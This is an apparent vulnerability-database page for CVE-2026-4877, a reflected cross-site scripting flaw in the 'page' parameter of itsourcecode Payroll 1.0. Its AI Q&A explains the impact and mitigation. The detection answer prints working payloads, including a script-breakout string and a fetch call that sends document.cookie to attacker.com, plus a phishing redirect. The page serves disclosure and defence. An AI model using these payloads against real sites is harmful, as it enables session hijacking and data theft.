CVE-2026-4877
Cross-Site Scripting in itsourcecode Payroll /index.php Remotely Exploitable
Publication date: 2026-03-26
Last updated on: 2026-04-29
Assigner: VulDB
Description
Description
CVSS Scores
EPSS Scores
| Probability: | |
| Percentile: |
Meta Information
Affected Vendors & Products
| Vendor | Product | Version / Range |
|---|---|---|
| itsourcecode | payroll_management_system | to 1.0 (inc) |
Helpful Resources
Exploitability
| CWE ID | Description |
|---|---|
| CWE-79 | The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. |
| CWE-94 | The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. |
Attack-Flow Graph
AI Powered Q&A
How does this vulnerability affect compliance with common standards and regulations (like GDPR, HIPAA)?:
The vulnerability is a Cross-Site Scripting (XSS) flaw that allows attackers to execute arbitrary JavaScript in users' browsers, potentially leading to session hijacking, unauthorized actions, data theft, and malware distribution.
Such security issues can impact compliance with standards and regulations like GDPR and HIPAA because they may lead to unauthorized access or disclosure of personal or sensitive data.
However, the provided information does not explicitly describe the direct effects on compliance with these regulations.
Can you explain this vulnerability to me?
CVE-2026-4877 is a Cross-Site Scripting (XSS) vulnerability found in the Payroll Management System version 1.0, specifically in the /index.php file. The vulnerability occurs because the 'page' URL parameter directly reflects user input into the page output without proper sanitization or validation.
This means an attacker can craft a malicious URL containing JavaScript code in the 'page' parameter, which will then execute in the victim's browser when they visit the URL. No authentication is required to exploit this vulnerability.
The root cause is the lack of input validation and output encoding for the 'page' parameter, allowing arbitrary JavaScript injection.
How can this vulnerability impact me? :
Exploitation of this vulnerability can lead to several security impacts including session hijacking, unauthorized actions performed on behalf of the user, theft of sensitive data such as cookies, and distribution of malware.
- Session hijacking by stealing session cookies.
- Performing unauthorized actions within the application.
- Stealing sensitive information from the user.
- Redirecting users to malicious websites or distributing malware.
How can this vulnerability be detected on my network or system? Can you suggest some commands?
This vulnerability can be detected by testing the 'page' parameter in the /index.php file for cross-site scripting (XSS) by injecting JavaScript payloads and observing if they execute.
- Visit a URL such as: http://[target]/index.php?page=')</script><script>alert(0)</script><script>(
- Use payloads like `<script>alert(document.domain)</script>` to check for alert pop-ups.
- Test with payloads that attempt cookie theft or redirection, for example: `<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>` or `<script>window.location='http://phishing.site'</script>`.
What immediate steps should I take to mitigate this vulnerability?
Immediate mitigation steps include implementing input validation and output encoding to prevent execution of malicious scripts.
- Validate input by rejecting special characters and using an allow-list approach for the 'page' parameter.
- Apply output encoding functions such as `htmlspecialchars()` or `htmlentities()` to sanitize output.
- Implement security headers like Content-Security-Policy and X-XSS-Protection to reduce the risk of XSS attacks.